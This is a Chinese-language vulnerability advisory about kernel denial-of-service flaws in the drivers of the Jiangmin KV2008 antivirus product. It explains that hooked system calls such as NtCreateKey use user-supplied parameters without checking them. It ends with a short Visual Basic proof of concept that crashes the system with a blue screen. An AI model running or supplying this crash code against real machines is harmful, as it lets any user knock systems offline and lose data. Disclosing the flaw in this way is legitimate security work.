| 江民杀毒软件 KV2008 (以下简称 KV2008) 是江民反病毒专家团队针对网络安全面临的新课题, 全新研发推出的计算机反病毒与网络安全防护软件, 号称是全球首家具有灾难恢复功能的智能主动防御杀毒软件。
 令人遗憾的是, 其最新版本 11.00.800 (更新日期 2008-10-02) 及以下所有版本的驱动程序中存在多处内核拒绝服务漏洞, 可使任意权限的用户在安装 KV2008 的电脑上引发蓝屏, 造成灾难。
 
 出问题的组件:
 
 KSysMon.sys (CheckSum=0003AD80, TimeStamp=480D43E5)
 
 KV2008 在对 KiFastCallEntry inline hook 时, 存在多处用户态传入参数不经检查即使用, 从而使得用户态传入无效参数即可引发系统崩溃, 蓝屏重启.
 
 值得注意的是, KV2008 还注册了一个 DPC 定时恢复此钩子, 所以我们无法通过恢复此钩子避免该漏洞. 同时, KV2008 的 KRegEx.sys 在对 SSDT Hook 时, 存在多处同样的问题.
 
 示例函数: NtCreateKey
 
 函数 NtCreateKey 的原型是:
 
 NTSTATUS
 NtCreateKey(
 OUT PHANDLE KeyHandle,
 IN ACCESS_MASK DesiredAccess,
 IN POBJECT_ATTRIBUTES ObjectAttributes,
 IN ULONG TitleIndex,
 IN PUNICODE_STRING Class OPTIONAL,
 IN ULONG CreateOptions,
 OUT PULONG Disposition OPTIONAL
 )
 
 KV2008 在其 Hook 函数中, 没有任何检查地使用了用户态传入的 ObjectAttributes 参数, 这样, 如果我们传入一个无效的地址, 就会引发崩溃, 蓝屏重启.
 
 测试代码:
 
 Declare Function ZwCreateKey Lib "ntdll" (ByVal a As Long, ByVal b As Long, ByVal c As Long, ByVal d As Long, ByVal e As Long, ByVal f As Long, ByVal g As Long) As Long
 
 Sub Main()
 MsgBox "KV2008 内核漏洞演示 by iceboy"
 ZwCreateKey 0, 0, 0, 0, 0, 0, 0
 End Sub
 |